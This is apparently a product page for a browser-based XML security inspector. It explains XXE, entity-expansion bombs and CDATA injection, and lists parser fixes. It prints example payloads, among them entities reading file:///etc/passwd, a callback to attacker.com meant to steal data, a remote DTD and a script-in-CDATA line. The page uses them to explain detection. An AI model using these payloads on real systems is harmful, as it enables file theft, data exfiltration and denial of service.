XML Security Inspector

Detect XXE attacks, DTD injection, entity expansion bombs, and CDATA injection in XML documents

Enter XML to scan for XXE attacks, DTD injection, entity expansion, and CDATA injection vulnerabilities

Detecting XML Security Vulnerabilities

XML documents can contain constructs that, when processed by vulnerable parsers, enable severe attacks — from reading arbitrary files on the server (XXE) to denial-of-service through exponential entity expansion (Billion Laughs). These attacks exploit features that are part of the XML specification itself: external entities, DTD declarations, and entity expansion. The XML Security Inspector analyzes your XML documents to detect these dangerous constructs before they reach a vulnerable parser, identifying XXE attack patterns, DTD injection vectors, entity expansion bombs, and suspicious processing instructions.

Paste any XML document to receive a security analysis covering external entity references, internal DTD declarations, entity expansion depth, CDATA injection patterns, excessive nesting, and processing instruction abuse. Each finding explains the attack vector, its potential impact, and how to configure parsers to prevent exploitation. All analysis runs entirely in your browser.

XML External Entity (XXE) Detection

XXE attacks use external entity references to read server files or make network requests:

  • SYSTEM entities: <!ENTITY xxe SYSTEM "file:///etc/passwd"> reads local files
  • PUBLIC entities: <!ENTITY xxe PUBLIC "-//W3C//DTD" "http://attacker.com/steal"> makes outbound HTTP requests
  • Parameter entities: <!ENTITY % xxe SYSTEM "..."> used in DTD context for blind XXE
  • Remote DTD loading: <!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd"> loads external DTD definitions

The inspector flags any external entity reference — including both obvious attack patterns and legitimate-looking references that could be exploited if the XML reaches a server-side parser without proper configuration.

Entity Expansion and Billion Laughs

Entity expansion attacks create exponentially growing content from small inputs:

  • Billion Laughs: Nested entity definitions where each references the previous 10 times — 10 levels produces 10^10 (10 billion) expansions
  • Quadratic blowup: A single large entity referenced thousands of times fills memory linearly but with amplification
  • Recursive entities: Entities that reference themselves (causes infinite loops in some parsers)

The inspector calculates the theoretical expansion ratio of entity definitions and flags any document exceeding safe thresholds. Even 3-4 levels of nested entity expansion can consume gigabytes of memory in vulnerable parsers.

CDATA Injection and Processing Instructions

Additional attack vectors that the inspector detects:

  • CDATA with script content: <![CDATA[<script>alert(1)</script>]]> — when XML is transformed to HTML without proper escaping, CDATA content can inject scripts
  • Suspicious processing instructions: <?xml-stylesheet?> or custom PIs that may trigger server-side processing
  • Excessive nesting depth: Deeply nested elements that can cause stack overflow in recursive XML parsers
  • Namespace abuse: Extremely long namespace URIs or excessive namespace declarations used for memory exhaustion

These secondary attack vectors are often overlooked in security reviews that focus solely on XXE — they represent additional classes of XML-based attacks that security-conscious applications must defend against through proper parser configuration and input validation at the XML processing layer. The inspector produces a severity-rated finding for each detected pattern, enabling teams to prioritize remediation based on actual exploitation risk rather than theoretical vulnerability classifications.

Code Examples

XXE Attack Pattern Detection

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
  <!ENTITY xxe2 SYSTEM "http://attacker.com/steal?data=">
]>
<userInfo>
  <name>&xxe;</name>
  <callback>&xxe2;</callback>
</userInfo>

<!-- Inspector findings:
  - CRITICAL: External SYSTEM entity "xxe" references local file (file:///etc/passwd)
  - CRITICAL: External SYSTEM entity "xxe2" makes outbound HTTP request
  - HIGH: DOCTYPE with internal DTD subset detected
  - Recommendation: Disable external entity processing in your XML parser:
    - Java: factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)
    - PHP: libxml_disable_entity_loader(true)
    - Python: defusedxml library instead of xml.etree
    - .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit
-->

Frequently Asked Questions

What is the XML Security Inspector?

The XML Security Inspector is a client-side tool that analyzes XML documents for common security vulnerabilities including XXE (XML External Entity) attacks, DTD injection, entity expansion attacks (Billion Laughs / XML bombs), CDATA injection with script content, suspicious processing instructions, and excessive nesting depth. It calculates a security score and provides actionable remediation recommendations.

What is an XXE (XML External Entity) attack?

XXE is an attack against applications that parse XML input. It exploits the XML external entity feature to access local files (file:///etc/passwd), perform server-side request forgery (SSRF), or exfiltrate data. Attackers define an entity with a SYSTEM identifier pointing to a sensitive resource, and when the entity is referenced in the document, the parser fetches and includes that content.

What is a Billion Laughs attack?

The Billion Laughs attack (also called XML bomb) is a denial-of-service attack that uses nested entity definitions to cause exponential memory expansion. A small XML document (few KB) can expand to gigabytes of memory when entities recursively reference other entities, each multiplying the content. For example, 10 levels of entities each referencing the previous 10 times expands to 10^10 (10 billion) copies of the base string.

Is my XML content sent to a server?

No. All analysis happens entirely in your browser using JavaScript and the browser-native DOMParser API. Your XML content — which may contain sensitive configuration data, API keys, or internal infrastructure details — never leaves your device and is never stored, logged, or transmitted.

How is the security score calculated?

The score starts at 100 and deducts points based on finding severity: Critical issues (XXE external entities, entity expansion chains) deduct 25 points, High issues (internal DTD, CDATA with scripts) deduct 15, Medium issues (excessive nesting, HTML in CDATA) deduct 8, and Low issues (processing instructions) deduct 3. The final score maps to a letter grade: A (90+), B (75+), C (60+), D (40+), F (below 40).

Why is CDATA flagged as a security issue?

CDATA sections bypass XML parsing and can contain arbitrary text including HTML and JavaScript. If an application renders CDATA content in a web page without sanitization, an attacker can inject script tags, event handlers, or iframes to execute XSS attacks. The inspector flags CDATA sections containing script-like content or HTML injection vectors.

How do I fix XXE vulnerabilities?

The primary defense is to disable DTD processing and external entity resolution in your XML parser. In Java, set XMLConstants.FEATURE_SECURE_PROCESSING to true and disable external entities. In Python, use defusedxml. In PHP, use libxml_disable_entity_loader(). In .NET, set XmlReaderSettings.DtdProcessing to Prohibit. As a general rule, never allow user-controlled XML to define or reference external entities.

What is the difference between internal and external DTD?

An internal DTD is declared inline within the DOCTYPE declaration (<!DOCTYPE root [...declarations...]>) and defines entities/rules directly in the document. An external DTD references a separate file via SYSTEM or PUBLIC identifiers. Both are dangerous: internal DTDs enable entity expansion attacks, while external DTDs enable XXE by fetching remote resources. The safest approach is to disable DTD processing entirely.

Does this tool validate XML correctness?

The tool performs basic XML well-formedness validation using the browser's native DOMParser before security analysis. However, its primary purpose is security vulnerability detection, not schema or DTD validation. For XML syntax validation, use our XML Validator tool. For formatting, use our XML Formatter.